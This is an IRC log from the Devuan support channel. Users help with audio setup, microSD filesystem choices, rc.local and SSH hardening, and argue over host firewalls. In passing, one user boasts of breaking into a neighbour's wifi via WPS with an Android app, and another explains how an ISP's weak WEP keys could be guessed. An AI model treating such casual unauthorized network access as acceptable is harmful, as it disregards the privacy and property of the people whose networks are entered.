| 00:00.07 | drwhite | But on a laptop, not always, because I use a docking station. |
| 00:01.35 | *** join/#devuan alexandros_c (~alexandro@unaffiliated/alexandros-c/x-1684531) |
| 00:02.53 | drwhite | So Primus will allow Devuan to use both the i7 chip and the Discrete at the same time? |
| 00:03.20 | drwhite | On a desktop, I often use the CPU for the on-board, and then have a GPU as well. |
| 00:06.25 | alexandros_c | Happy Thanksgiving to all my American friends |
| 00:07.37 | *** join/#devuan sigjen (~sig@205.201.49.66) |
| 00:17.58 | *** join/#devuan sigjen (~sig@205.201.49.66) |
| 00:18.20 | drwhite | Anyone here have a Lenovo P52? |
| 00:18.35 | drwhite | and running Devuan. (of course) |
| 00:19.13 | Xenguy | pm-is-supported returned no output: anyone know how to interpret that result? |
| 00:32.31 | *** join/#devuan stu88 (~q@unaffiliated/stu88) |
| 00:44.42 | *** join/#devuan ar3itrary (~hacker@2a03:4000:6:8177:2::1) |
| 00:55.17 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 00:59.57 | *** join/#devuan alexandros_c (~alexandro@unaffiliated/alexandros-c/x-1684531) |
| 01:05.28 | *** join/#devuan will_haven (~will_have@89.249.74.218) |
| 02:29.45 | *** join/#devuan infobot (ibot@208.53.50.136) |
| 02:29.45 | *** topic/#devuan is This is the Devuan https://devuan.org/ discussion channel | **You might need to auth to nickserv to talk!** | Latest (2018-06-09): ASCII 2.0.0 https://devuan.org/os/debian-fork/ascii-stable-announce-060818 || Stable (2017-05-25): Jessie 1.0.0 LTS release | Devuan Forum: https://dev1galaxy.org/ | Chanlogs: http://maemo.cloud-7.de/irclogs/freenode/_devuan/ |
| 02:29.45 | *** mode/#devuan [+v infobot] by ChanServ |
| 02:38.53 | *** join/#devuan Acacia (~Acacia@unaffiliated/acacia) |
| 02:51.59 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 03:06.31 | *** join/#devuan Human_G33k (~HumanG33k@62.147.242.8) |
| 03:08.59 | *** join/#devuan will_haven-netsp (~will_have@84.39.116.180) |
| 03:16.59 | *** join/#devuan r00tobo (~r00tobo@unaffiliated/r00tobo) |
| 03:47.03 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 04:08.11 | *** part/#devuan stu88 (~q@unaffiliated/stu88) |
| 04:30.20 | *** join/#devuan drwhite (~DRWhite_-@203-206-182-156.perm.iinet.net.au) |
| 04:35.47 | *** join/#devuan Besnik_b (~Besnik@ppp-94-66-221-96.home.otenet.gr) |
| 04:45.34 | *** join/#devuan grayrider (~grayrider@wsip-70-167-70-8.tu.ok.cox.net) |
| 04:58.57 | *** join/#devuan rdav__ (~rd@245.184-26-211.sta.nsw.iprimus.net.au) |
| 05:11.31 | drwhite | djph: Trying it now. Is there anything else that needs to be installed at the same time? |
| 05:15.35 | *** join/#devuan will_haven (~will_have@89.249.74.218) |
| 06:00.05 | drwhite | what is "libsystemd0" ? |
| 06:00.19 | drwhite | is that systemD? |
| 06:05.57 | KatolaZ | drwhite: it's a library to use the systemd functionalities |
| 06:06.09 | KatolaZ | harmless if you don't have systemd running in your system |
| 06:07.10 | drwhite | it can be uninstalled? |
| 06:07.29 | drwhite | or is it for those things that use systemD to integrate into a non systemd environment? |
| 06:16.40 | *** part/#devuan drwhite (~DRWhite_-@203-206-182-156.perm.iinet.net.au) |
| 06:16.43 | KatolaZ | drwhite: |
| 06:50.55 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 06:51.24 | *** join/#devuan cocoadaemon (~foo@2001:67c:288:1::201) |
| 06:52.39 | *** join/#devuan amesser (~amesser@p200300E3570DC0009A1A906F089E3C40.dip0.t-ipconnect.de) |
| 07:07.22 | *** join/#devuan AntoFox (~Thunderbi@37.162.1.105) |
| 07:19.28 | *** join/#devuan will_haven-netsp (~will_have@89.249.74.213) |
| 07:28.49 | *** join/#devuan engidea (~damiano@ip-46-141-11-154.rev.wolnext.com) |
| 07:34.11 | *** join/#devuan rsx (~rsx@ppp-46-244-240-33.dynamic.mnet-online.de) |
| 07:44.43 | *** join/#devuan HalfWord (~halfword@unaffiliated/halfword) |
| 07:49.32 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 07:49.50 | *** join/#devuan xes (~xes@unaffiliated/xes) |
| 08:07.31 | *** join/#devuan will_haven (~will_have@82.145.37.203) |
| 08:10.51 | *** join/#devuan Besnik_b (~Besnik@ppp-94-66-221-96.home.otenet.gr) |
| 08:15.38 | *** join/#devuan Human_G33k (~HumanG33k@62.147.242.8) |
| 08:18.53 | *** join/#devuan clemens3_ (~clemens@mx.eniso-partners.com) |
| 08:28.15 | *** join/#devuan iovec (uid171740@gateway/web/irccloud.com/x-tpwlyazchllcrorv) |
| 08:29.04 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 08:36.42 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 08:48.36 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 09:22.31 | *** join/#devuan cocoadaemon (~foo@2001:67c:288:1::201) |
| 09:53.44 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 09:54.25 | *** join/#devuan Xenguy (~Xenguy@devuan/community/Xenguy) |
| 10:01.36 | *** join/#devuan Xenguy (~Xenguy@devuan/community/Xenguy) |
| 10:09.21 | *** join/#devuan Xenguy (~Xenguy@devuan/community/Xenguy) |
| 10:13.03 | *** join/#devuan will_haven (~will_have@82.145.37.203) |
| 10:44.18 | *** join/#devuan premoboss (~utente@93.56.170.172) |
| 10:45.06 | premoboss | if i set some part of File System in "Read-only" (i.e. /usr/), will the general performances speed up? |
| 10:47.24 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 10:47.49 | debdog | sounds unlogical hence it's possible |
| 10:49.35 | premoboss | debdog, i think that there are not ovehead oj journal and no file system check at the start up and not "you have mounted the partitrion n times, check forced" messages at start up. |
| 10:55.29 | KatolaZ | premoboss: if you don't write on it there is no journal overhead... |
| 10:56.04 | KatolaZ | but having /usr ro is normally a bad idea |
| 10:56.18 | KatolaZ | unless you decide to not ever install anything in there |
| 10:57.02 | KatolaZ | premoboss: I also don't understand what you mean by "some part of File System" |
| 10:58.04 | premoboss | KatolaZ, as far as i remenber, /usr is "almost" read only: i mean, after i istalled all i need in my system, /usr shour not be writable by any process, am i right? is /home and /var that usually are often wrote inside. |
| 10:58.17 | *** join/#devuan Leander (~Leander@132.147.84.158) |
| 11:00.09 | KatolaZ | premoboss: I fail to see the point though |
| 11:00.48 | debdog | on a server inside the DMZ the more places are ro the better. but I doubt it'll increase 'general' performance |
| 11:01.55 | KatolaZ | that's why I fail to see the point |
| 11:02.00 | premoboss | KatolaZ, my OS is on uSD. the point is that i wish to reduce I/O on uSD to (i hope) increase performances (no journal, no forced check on that partition, ecc) and to have less stress on yuSD caming from freqeunt write operations. |
| 11:02.22 | Centurion_Dan | premoboss: then use ext2 |
| 11:02.27 | KatolaZ | premoboss: but if you don't write anything in /usr, then you don't write enything |
| 11:02.33 | KatolaZ | fullstop |
| 11:02.55 | Centurion_Dan | I do that for /boot |
| 11:02.55 | KatolaZ | where should the performance gain come from, if you don't write under /usr? |
| 11:03.19 | KatolaZ | where should the I/O come from if you don't write on /usr? |
| 11:03.49 | KatolaZ | there should be no write operation at all under /usr if you don't install/upgrade/remove packages |
| 11:03.59 | KatolaZ | irrespective of it being ro or not |
| 11:04.15 | debdog | to improve the µSDs life I'd look into fs options like noatime |
| 11:04.18 | premoboss | if i use ext2 AND i get not clear shutdown, than i can have inconsistance filesystem and forced checke at treboot. so i need to make that /usr partition ext2 AND read only. sound right? |
| 11:04.19 | Centurion_Dan | package installation aside there is little writing to /usr anyway, so mounting it with ext2 to get rid of the journal, and turning of noatime and you'll quiesce the writes to nearly nil anyway. |
| 11:04.37 | premoboss | debdog, also noatime, yes, i forgot. and nodiratime also. |
| 11:05.14 | KatolaZ | premoboss: no it sounds completely useless to me |
| 11:05.49 | Centurion_Dan | premoboss: but a not clean shutdown only happens if you happen to be writing when the power is pulled. If the fs is not written to, it's not under risk of an unclean shutdown. |
| 11:06.02 | premoboss | KatolaZ, id i have separate partition for /, /usr /home, /var, i wuill have faster check at the boot.. at least, i think so. |
| 11:06.23 | premoboss | becasue /usr will ben ever checked because of read only. |
| 11:06.30 | KatolaZ | premoboss: you are totally wrong on that |
| 11:06.40 | KatolaZ | what you think is wrong |
| 11:06.42 | Wonka | I have, once, had a debian on a Seagate Dockstar - rootfs was RO, and for updating I had a script using unbind and mount to get a shell in which alone the rootfs was re-mounted rw |
| 11:06.43 | KatolaZ | you asked, we replied |
| 11:06.55 | KatolaZ | you're free to decide yourself |
| 11:07.12 | KatolaZ | just putting /usr ro is useless to reduce the load on a microSD |
| 11:07.30 | premoboss | KatolaZ, ok |
| 11:07.48 | premoboss | iw was a good idea in my mind, no probmel if i was wrong :-) |
| 11:16.20 | *** join/#devuan zeden (~user@unaffiliated/zeden) |
| 11:23.16 | gnarface | premoboss: try mounting /tmp as tmpfs instead |
| 11:26.02 | *** join/#devuan engidea (~damiano@ip-46-141-11-154.rev.wolnext.com) |
| 11:31.07 | Wonka | also /var/run |
| 11:49.28 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 11:52.54 | *** join/#devuan system16 (~system16@unaffiliated/system16) |
| 11:54.13 | system16 | Hi. i have a file server that runs no GUI or DE. i installed mpg123 on it. when i run mpg123 song.mp3 it says its playing it but there is no audio. i know this is silly . can this be a driver issue ? |
| 11:54.40 | system16 | if yes , how can i install a generic driver for its built-in speaker ? |
| 11:55.23 | gnarface | it's probably just a alsamixer settings issue |
| 11:55.39 | gnarface | run alsamixer, make sure you've got volume on the right channels and they're unmuted |
| 11:55.58 | gnarface | if it was a driver issue, usually you'd expect an error. not always, but usually. |
| 11:56.46 | system16 | apt install alsamixer ? |
| 11:57.46 | system16 | there is no package called alsamixer |
| 11:57.53 | gnarface | it's in alsa-utils |
| 11:58.27 | system16 | its downloading alsa-utils |
| 11:58.48 | system16 | ok i ran alsamixer |
| 11:58.55 | system16 | some bars showed up |
| 11:59.11 | system16 | im not a audio guy. what do these mean ? |
| 11:59.29 | gnarface | if you have more than one soundcard, these are only the controls for the first detected one |
| 11:59.32 | system16 | it says master 0 |
| 11:59.48 | gnarface | up/down arrows to change volume |
| 11:59.55 | gnarface | "m" to toggle mute |
| 12:00.06 | gnarface | left/right arrows to select volume slider |
| 12:00.08 | system16 | 00 means mute ? |
| 12:00.17 | system16 | or MM ? |
| 12:00.21 | gnarface | MM is mute |
| 12:00.46 | system16 | ok let me try again |
| 12:01.23 | system16 | SHIt |
| 12:01.26 | system16 | it worked |
| 12:01.29 | system16 | thanks alot |
| 12:01.36 | gnarface | no problem |
| 12:01.50 | system16 | now i can make devuan run system initiated.mp3 on startup |
| 12:02.51 | system16 | doo you know where is the startup directory ? |
| 12:02.54 | system16 | do* |
| 12:03.06 | gnarface | i don't know |
| 12:03.11 | gnarface | there's a few ways to do it |
| 12:03.42 | system16 | there is a script that runs commands on startup. i cant remember its name |
| 12:03.51 | gnarface | are you thinking of /etc/rc.local? |
| 12:03.57 | system16 | yes |
| 12:04.10 | gnarface | that's probably the easiest thing to use if you're not using a GUI |
| 12:05.51 | jyri | hmm, grub-install broke on ceres |
| 12:05.59 | gnarface | uh oh |
| 12:06.18 | jyri | grub-install: error: cannot copy `/usr/share/locale/bg.gmo' to `/boot/grub/locale/bg.mo': Is a directory. |
| 12:06.43 | system16 | it wont break anything right ? (running a .mp3 file on startup ) |
| 12:07.30 | gnarface | system16: nothing comes to mind |
| 12:07.35 | system16 | damn. it has a loud speaker |
| 12:08.03 | gnarface | it should be smart enough to save and restore the alsamixer settings on it's own |
| 12:08.22 | gnarface | you can call amixer directly from your script if you want though |
| 12:08.42 | system16 | why tho ? |
| 12:09.14 | gnarface | oh, if you wanted to turn the volume down, or make sure it never got set above some arbitrary maximum |
| 12:09.35 | system16 | its set on 65 (master) |
| 12:09.56 | gnarface | no physical volume control on the speaker? |
| 12:10.06 | system16 | no |
| 12:10.32 | gnarface | eh |
| 12:10.39 | system16 | when it ran windows , i controlled the speaker with fn+f7 |
| 12:10.41 | gnarface | i've got my headphones set to 33 |
| 12:11.00 | gnarface | hardware's all different, but if it's loud at 65 that's not a huge surprise |
| 12:11.20 | system16 | its a netbook. |
| 12:11.46 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 12:18.01 | *** join/#devuan will_haven (~will_have@82.145.37.203) |
| 12:19.26 | system16 | https://www.soundsnap.com/search/audio/system+initiated/score |
| 12:19.34 | system16 | which one do you prefer ? |
| 12:31.02 | *** join/#devuan will_haven (~will_have@82.145.37.203) |
| 12:32.22 | gnarface | of what? don't make me click the link |
| 12:39.51 | *** join/#devuan system16 (~system16@unaffiliated/system16) |
| 12:45.00 | system16 | gnarface, those are some system startup sounds |
| 12:45.17 | system16 | i chose "light speed sequence initiated" |
| 12:45.23 | gnarface | oh, gotcha |
| 12:46.40 | system16 | that stupid website wanted to charge me 3 $ for a 6 second file. (but i recorded the sound with my phone using AUX) hahaha |
| 12:49.03 | *** join/#devuan queip (~queip@unaffiliated/rezurus) |
| 12:56.44 | *** join/#devuan cocoadaemon (~foo@2001:67c:288:1::201) |
| 12:56.53 | *** join/#devuan HumanG33k (~HumanG33k@62.147.242.8) |
| 12:58.50 | *** join/#devuan HumanG33k (~HumanG33k@62.147.242.8) |
| 13:12.03 | *** join/#devuan engidea (~damiano@ip-46-141-11-154.rev.wolnext.com) |
| 13:15.18 | *** join/#devuan jonadab (~weirdidio@cpe-174-105-96-42.columbus.res.rr.com) |
| 13:30.08 | *** join/#devuan enoch (~enoch@unaffiliated/enoch) |
| 13:38.13 | *** join/#devuan clemens3_ (~clemens@mx.eniso-partners.com) |
| 13:47.28 | *** join/#devuan alexandros_c (~alexandro@unaffiliated/alexandros-c/x-1684531) |
| 14:06.28 | *** join/#devuan Ryushin (chris@2001:470:4b:38f:777::8742) |
| 14:19.36 | system16 | also. should i install a terminal based anti virus to keep my stuff safe ? |
| 14:20.25 | gnarface | it's probably not necessary if you are following best practices |
| 14:20.35 | system16 | like ? |
| 14:20.42 | system16 | root login is off |
| 14:20.48 | system16 | system is up-to-date |
| 14:20.55 | gnarface | just, if you know how permissions work and you've got it secure, yea, and up-to-date |
| 14:20.57 | system16 | i have a strong password |
| 14:20.59 | gnarface | network side too |
| 14:21.11 | gnarface | don't click on email attachments, etc |
| 14:21.18 | system16 | gnarface, everything inside home is 777 |
| 14:21.20 | *** join/#devuan knidos (~knidos@81.215.220.180) |
| 14:21.23 | gnarface | :-P |
| 14:21.24 | system16 | afaik |
| 14:21.39 | gnarface | that might be unnecessarily risk |
| 14:21.43 | gnarface | risky |
| 14:21.45 | system16 | <gnarface> don't click on email attachments, etc there is -no- GUI |
| 14:21.56 | *** join/#devuan g4570n (~g4570n@unaffiliated/g4570n) |
| 14:21.57 | gnarface | oh, right, you said that |
| 14:22.08 | *** join/#devuan rustyr (~rustyr@dslb-084-058-127-169.084.058.pools.vodafone-ip.de) |
| 14:22.09 | gnarface | yea, that'll really limit the attack surface too |
| 14:22.13 | system16 | then what should i do ? 776 ? 767 ? |
| 14:22.42 | system16 | the only thing that is really bugging me is ssh key |
| 14:22.53 | system16 | i use ssh password username login |
| 14:23.11 | *** join/#devuan clemens3_ (~clemens@mx.eniso-partners.com) |
| 14:23.34 | gnarface | the defaults should have been sane |
| 14:23.42 | gnarface | 755 |
| 14:24.01 | system16 | idk |
| 14:24.05 | system16 | some are 777 |
| 14:24.09 | system16 | some are not |
| 14:24.47 | system16 | only my ex drive is 777 |
| 14:25.27 | system16 | i just found out its not |
| 14:25.38 | system16 | so i think im good on permissions side |
| 14:25.43 | system16 | what next ? |
| 14:26.05 | system16 | fail2ban is running but idk how to configure it |
| 14:26.25 | gnarface | firewall? |
| 14:26.38 | system16 | my router has firewall |
| 14:27.06 | system16 | its up-to-date. |
| 14:27.13 | system16 | the router* |
| 14:28.17 | system16 | gnarface, should i set up a firewall on the server too ? |
| 14:28.34 | gnarface | wouldn't hurt |
| 14:28.43 | gnarface | probably |
| 14:28.44 | system16 | do you know how ? |
| 14:29.08 | gnarface | i can give you some simple iptables commands that might work |
| 14:29.13 | gnarface | nothing fancy |
| 14:29.20 | system16 | thanks. go ahead |
| 14:30.25 | system16 | i must be root right ? |
| 14:30.41 | gnarface | yea |
| 14:31.20 | system16 | it wont mess with ssh_d and sftp and open ssh right ? |
| 14:31.31 | system16 | (this is a sftp server) |
| 14:31.49 | gnarface | it will unless you leave a hole for ssh |
| 14:32.10 | *** join/#devuan clemens3 (~clemens@mx.eniso-partners.com) |
| 14:32.17 | system16 | what |
| 14:32.29 | system16 | oh its like windows firewall right ? |
| 14:33.20 | gnarface | yea i guess |
| 14:33.34 | system16 | then i cant run them rn |
| 14:33.38 | system16 | because im using ssh |
| 14:34.01 | system16 | and the server is under my closet |
| 14:34.14 | system16 | (im feeling lazy right now) |
| 14:34.48 | gnarface | well i'm sure you can find examples online |
| 14:35.23 | nemo | why does devuan recommend following the LSB init conventions but does not have /usr/lib/lsb/install_initd ? |
| 14:35.29 | nemo | is this some debian thing I'm unfamiliar with? |
| 14:35.37 | system16 | the ultimate fix is to disable port forwarding |
| 14:36.00 | system16 | which makes this only accessible on LAN |
| 14:37.23 | nemo | system16: eh... I'm still super annoyed that my router does not have an option to block the HTTP server on the wifi interface - I don't need a full firewall, just option to specify interfaces for bind |
| 14:37.30 | nemo | system16: sometimes the LAN is not super trustworthy either |
| 14:37.58 | nemo | basically I occasionally have to give wifi password to folks visiting and I don't want to trust router's webserver given historical fails on that front |
| 14:38.03 | system16 | nano like my neighbor wants to see whats on my server ? |
| 14:38.17 | system16 | i managed to hack his wifi due to WPS |
| 14:38.22 | nemo | can see why depending on LAN one might not trust it. also if the machine is a laptop could be on all kinds of hostile LANs |
| 14:38.32 | system16 | with a simple android app on google play lol |
| 14:38.48 | nemo | system16: when the local fios company was deploying in this area they issued everyone wifi with a 40 bit wep key |
| 14:38.48 | system16 | i have disabled WPS |
| 14:39.04 | system16 | of course im using WPA-2 |
| 14:39.10 | nemo | system16: the funny thing about it was the wep key shared first 24 bits of an alphanumeric uppercase key with the network name |
| 14:39.29 | nemo | just to make things easier ⺠|
| 14:39.51 | system16 | they are dumb af |
| 14:39.58 | nemo | but yeah. on most linux systems one knows what is running, so firewall is not super useful IMO |
| 14:40.20 | nemo | system16: yeah you could manually "hack" it just by iterating over 36² combinations |
| 14:41.04 | nemo | they did eventually fix that, although there's still a few of them floating around |
| 14:41.58 | system16 | how the hell did you do this ?? 36^2 ??? |
| 14:42.11 | system16 | its format is like textbooks |
| 14:42.16 | nemo | hm? |
| 14:42.18 | nemo | oh |
| 14:42.21 | nemo | XCompose ftw ⺠|
| 14:42.30 | nemo | I bind it to capslock key |
| 14:42.47 | system16 | damn |
| 14:42.49 | nemo | https://docs.perl6.org/language/unicode_entry#XCompose_(Linux) |
| 14:42.57 | system16 | nemo can u hack my server ? |
| 14:42.59 | nemo | system16: I also have some useful emoji in mine |
| 14:43.03 | nemo | O_o |
| 14:43.11 | system16 | probably not |
| 14:43.17 | r3boot | nemo: a firewall is very useful tool, especially in the 'you know what runs' scenario, since stuff that's not supposed to run will be blocked by default + needs explicit whitelisting |
| 14:43.19 | system16 | its security is to notch |
| 14:43.23 | nemo | most "hacking" these days is spear phishing/social engineering |
| 14:43.24 | system16 | top* |
| 14:43.39 | nemo | r3boot: sure sure. it's just I happen to know what's running is all |
| 14:43.41 | system16 | i mean can you force your way into my server ? |
| 14:43.46 | system16 | brute force* |
| 14:43.57 | nemo | r3boot: it's the rationale behind lack of default firewall on many distros |
| 14:44.04 | r3boot | nemo: sure. And are you 100% sure that those apps dont make any outbound connections? How do you guarantee that? ;) |
| 14:44.06 | nemo | including ubuntu and debian |
| 14:44.12 | system16 | u need my username and password which is extremely long |
| 14:44.20 | system16 | and my public ip |
| 14:44.24 | nemo | r3boot: the services? I know which ones make outbound connections yes |
| 14:44.26 | system16 | which changes every day |
| 14:44.36 | system16 | or my ddns domain |
| 14:44.46 | r3boot | nemo: and now one of your services is hacked + spawns a bind shell, now what? :) |
| 14:44.52 | nemo | r3boot: and no I'm not going to review the code, although I've run netstat and such in past when something seemed odd |
| 14:45.02 | nemo | r3boot: if I've been hacked firewall is not going to protect me |
| 14:45.14 | r3boot | yes, it will, because it will block the connection to the bind shell |
| 14:45.18 | nemo | ⦠|
| 14:45.28 | nemo | r3boot: if someone has root access it is game over |
| 14:45.32 | nemo | firewall will do jack squat |
| 14:45.33 | system16 | nemo, but can you ? |
| 14:45.36 | r3boot | sure, but you dont run stuff as root right? |
| 14:46.00 | r3boot | + you're patched & are running a RBAC framework, so getting root is not easily possible |
| 14:46.11 | system16 | root login is off |
| 14:46.17 | system16 | and there is no GUI |
| 14:46.18 | system16 | no DE |
| 14:46.29 | r3boot | all it takes is one vulnerable service |
| 14:46.32 | nemo | r3boot: ok. I see scenario. for example. considering apache as service w/ a (large) attack surface. someone manages a local execute. trouble is. service is already doing outbound connections. so detecting that is pretty tricky apart from monitoring traffic |
| 14:46.32 | system16 | plain command - line interface |
| 14:47.13 | r3boot | nemo: apache normally only makes connections towards backend services, not towards the internet, so that's trivial to detect |
| 14:47.14 | nemo | r3boot: apart from that there's not much exposed outbound to hack |
| 14:47.30 | r3boot | that's obscurity |
| 14:47.36 | r3boot | you want multiple levels of defense ;) |
| 14:47.38 | nemo | r3boot: eh. I do have some relaying on mine |
| 14:47.45 | system16 | r3boot, everything is uptodate |
| 14:47.52 | nemo | r3boot: I understand *why* people have it |
| 14:47.52 | system16 | i ran apt upgrade |
| 14:48.06 | nemo | r3boot: and I even listed at lesat one case locally I wish I had it, and still don't |
| 14:48.09 | system16 | im planning to put apt upgrade on startup |
| 14:48.13 | nemo | I'm just questioning it being of super-high utility |
| 14:48.15 | system16 | using rc.local |
| 14:48.20 | r3boot | I just think it's bad advice to tell people /not/ to run a packetfilter |
| 14:48.38 | r3boot | you should run one, by default, to ensure that you know what goes in/out of a system |
| 14:48.53 | r3boot | + are able to provide guarantees for that |
| 14:48.58 | nemo | ?? did I say they shouldn't? |
| 14:49.00 | nemo | wut |
| 14:49.28 | r3boot | I guess we have a difference in definition of 'super useful' |
| 14:49.31 | nemo | anyway. devuan by default does not have one |
| 14:49.52 | nemo | so I guess devuan is giving bad default advice too by your definition ⺠|
| 14:49.55 | r3boot | almost no OS/Distro comes with a default-deny packetfilter :( |
| 14:49.58 | system16 | is devuan safe out of the box ? |
| 14:50.02 | nemo | ubuntu either |
| 14:50.05 | nemo | hm |
| 14:50.08 | nemo | although that might have changed |
| 14:50.17 | r3boot | centos/rh does, but that comes with a default-allow ruleset |
| 14:50.19 | system16 | im trying to setup fail2ban |
| 14:50.19 | nemo | my information about ubuntu halted at 14.04 |
| 14:50.29 | r3boot | the BSD's dont come with a firewall |
| 14:50.33 | r3boot | nor do the commercial unices |
| 14:50.49 | r3boot | (+ dont come with a firewall thats enabled by default) |
| 14:51.12 | nemo | system16: anyway WRT "hacking" people, I lost any interest in that a long long time ago. basically once past college computer lab |
| 14:51.18 | nemo | " |
| 14:51.30 | nemo | "hacking" up stuff on my own system is way more fun/productive |
| 14:51.32 | r3boot | The 'why' for that is much more difficult tho. Part of it has to do with people not understanding TCP/IP, part of it has to do with people not wanting to bother with packetfilters, etc |
| 14:51.37 | system16 | do you think im at risk |
| 14:51.48 | system16 | ? |
| 14:52.01 | r3boot | system16: if you just stick to your part of the internet and dont piss off anybody, you'll be just fune |
| 14:52.10 | system16 | wat ? |
| 14:52.16 | r3boot | *fine |
| 14:52.27 | system16 | port forwarding is ON. should i turn it off ? |
| 14:52.35 | r3boot | port forwarding to *which* port? |
| 14:52.38 | system16 | 22 |
| 14:52.42 | r3boot | not a problem |
| 14:52.42 | nemo | r3boot: the actual things that make my system significantly vulnerable (browser, intel boot manager, crappy ssh passwords) are not going to be mitigated by firewall |
| 14:52.47 | nemo | r3boot: that's why I can't bring myself to care |
| 14:52.57 | system16 | i tried changing it. no luck |
| 14:53.00 | nemo | it's a significant complexity for the 0.1% case |
| 14:53.45 | r3boot | nemo: even in those cases it's very useful. Run your vulnerable apps under a different userid then your login id, and use iptables with uid/gid matching to only allow the connections you want |
| 14:53.48 | *** join/#devuan Akuli (~akuli@mobile-access-5d6aa3-132.dhcp.inet.fi) |
| 14:54.08 | nemo | r3boot: at present I have exactly 2 things bound. ssh and apache |
| 14:54.12 | nemo | takes down apache again |
| 14:54.15 | r3boot | used to run my browser under a different user id which forced *all* connections through a proxy (no direct connection possible) |
| 14:54.27 | system16 | LOL |
| 14:54.29 | system16 | Server replied: pong |
| 14:54.36 | system16 | i pinged the fail2ban server |
| 14:54.47 | system16 | i think it pinged 127.0.0.1 ? |
| 14:54.54 | r3boot | nemo: otoh, I work with servers most of the time, and on those boxen, you *want* outbound firewalling |
| 14:55.01 | nemo | r3boot: yeah. sorry. don't care enough |
| 14:55.01 | nemo | but I understand the attractiveness of that kinda thing |
| 14:55.03 | r3boot | desktops are a lot harder to secure, yes |
| 14:55.34 | nemo | r3boot: I don't work much with the servers at work, but AFAIK they are restricting traffic outside the server itself |
| 14:55.44 | nemo | r3boot: on the various segmented LANs |
| 14:55.45 | system16 | is 1 jail enough ? |
| 14:55.55 | system16 | |- Number of jail: 1 |
| 14:55.55 | system16 | `- Jail list: ssh |
| 14:56.09 | KatolaZ | system16: it depends on the number of thieves.... |
| 14:56.14 | system16 | what about sftp ?? |
| 14:56.22 | system16 | should i add more ? |
| 14:56.33 | r3boot | system16: maybe it would help you if you read up a little bit about hosting services before you ask such questions |
| 14:56.51 | nemo | r3boot: like. I can ssh in to my dev server, but not out, and that has nothing to do with the rules on it. |
| 14:56.59 | nemo | r3boot: got to fill out annoying amoutn of paperwork to do anything fun |
| 14:57.07 | r3boot | nemo: ah, then you have firewalling on the network level I think |
| 14:57.11 | nemo | that's what I said? |
| 14:57.14 | r3boot | yep |
| 14:58.01 | r3boot | or atleast, that's what I inferred based on the dev server, with vlans, and not being able to send out outbound traffic without filing paperwork |
| 14:58.32 | nemo | 09:35 <+nemo> why does devuan recommend following the LSB init conventions but does not have /usr/lib/lsb/install_initd ? |
| 14:58.47 | nemo | I'm trying to install a cylance service "properly" |
| 14:58.58 | system16 | r3boot im just trying to keep uninvited guests out |
| 14:59.00 | nemo | already had to hack up the .deb to make their stupid kernel module load on debian |
| 14:59.17 | nemo | I thought install_initd would be the way to go |
| 14:59.34 | nemo | (right now I just made the symlinks manually - but I added the header since the init manager complained) |
| 14:59.37 | r3boot | system16: just use ssh pubkey authentication and disable password-based logins. Then you dont even need the complexity of fail2ban |
| 14:59.51 | system16 | i tried that before |
| 14:59.56 | system16 | cannot be done |
| 14:59.59 | r3boot | LOL |
| 15:00.02 | r3boot | why not? |
| 15:00.07 | system16 | it would keep asking a password |
| 15:00.13 | system16 | and it was too complex |
| 15:00.32 | nemo | I'm running fail2ban just 'cause the log noise annoys me. also a couple of those assholes also spam my apache. one of them I knew and actually found something I was mildly careless with |
| 15:00.43 | nemo | I mean. didn't do any harm, but was irritating |
| 15:00.52 | r3boot | system16: right, okay, well, its /the/ solution for securing your ssh |
| 15:00.59 | *** join/#devuan rafalcpp (~racalcppp@84-10-11-234.static.chello.pl) |
| 15:01.05 | r3boot | system16: fail2ban will not protect you from accounts with bad passwords |
| 15:01.17 | KatolaZ | system16: if it keeps asking for a password you have a problem in your sshd config |
| 15:01.18 | system16 | i have a 11 character password |
| 15:01.30 | system16 | it has every thing in it |
| 15:01.37 | KatolaZ | o_O |
| 15:01.40 | system16 | numbers...letters... etc. |
| 15:01.45 | system16 | symbols |
| 15:01.48 | KatolaZ | and you think that's "secure"? |
| 15:01.50 | KatolaZ | :D |
| 15:01.58 | system16 | at least its not 1234 |
| 15:02.04 | r3boot | there are multiple things to check here. 1) Is pubkey auth enabled in sshd? 2) Is your authorized_keys file only readable by your own userid? and 3) is there any RBAC framework blocking access to authorized_keys? |
| 15:02.20 | nemo | KatolaZ: well if someone is trying to guess by trial and error, almost anything that isn't "password" is probably fine - these people don't even bother with the published lists |
| 15:02.23 | r3boot | oh, and 4) Are you passing your ssh key along with ssh? |
| 15:02.24 | KatolaZ | is the .ssh/ folder only rx for the owner? |
| 15:02.30 | r3boot | KatolaZ: yes |
| 15:02.41 | r3boot | 0700 for .ssh, 0600 for authorized_keys |
| 15:02.44 | KatolaZ | is the key the correct one? |
| 15:02.45 | nemo | KatolaZ: I'm pretty sure most of the probes are just hunting for unsecured IoS stuff |
| 15:03.06 | r3boot | assumptions ;) |
| 15:03.07 | system16 | fyi i reverted every setting that i made. i have to start on square 1 |
| 15:03.09 | system16 | ALSO |
| 15:03.13 | r3boot | but okay, I'll shut up |
| 15:03.21 | system16 | some apps wont use ssh key |
| 15:03.24 | KatolaZ | system16: you also have to do some reading about ssh config |
| 15:03.32 | r3boot | (way to many years of experience with hosting industries, I'll let you guys make your own mistakes) |
| 15:04.01 | system16 | vlc does not support user pass auth |
| 15:04.13 | nemo | O_o |
| 15:04.17 | nemo | vlc supports ssh authentication? |
| 15:04.18 | r3boot | Setup a ssh tunnel then :) |
| 15:04.18 | nemo | whaaat |
| 15:04.28 | nemo | what for? |
| 15:04.48 | system16 | KatolaZ, i know what is that. i used that to disable root login |
| 15:05.13 | system16 | nemo, to stream stuff to TV |
| 15:05.29 | system16 | it has a sftp browser built in |
| 15:05.32 | r3boot | chromecast stuff? Or some other protocol? |
| 15:05.37 | system16 | yes. |
| 15:05.40 | system16 | chromecast |
| 15:05.48 | r3boot | that wont work over ssh, since that requires multicast |
| 15:06.03 | system16 | well it works rn |
| 15:06.05 | system16 | soo |
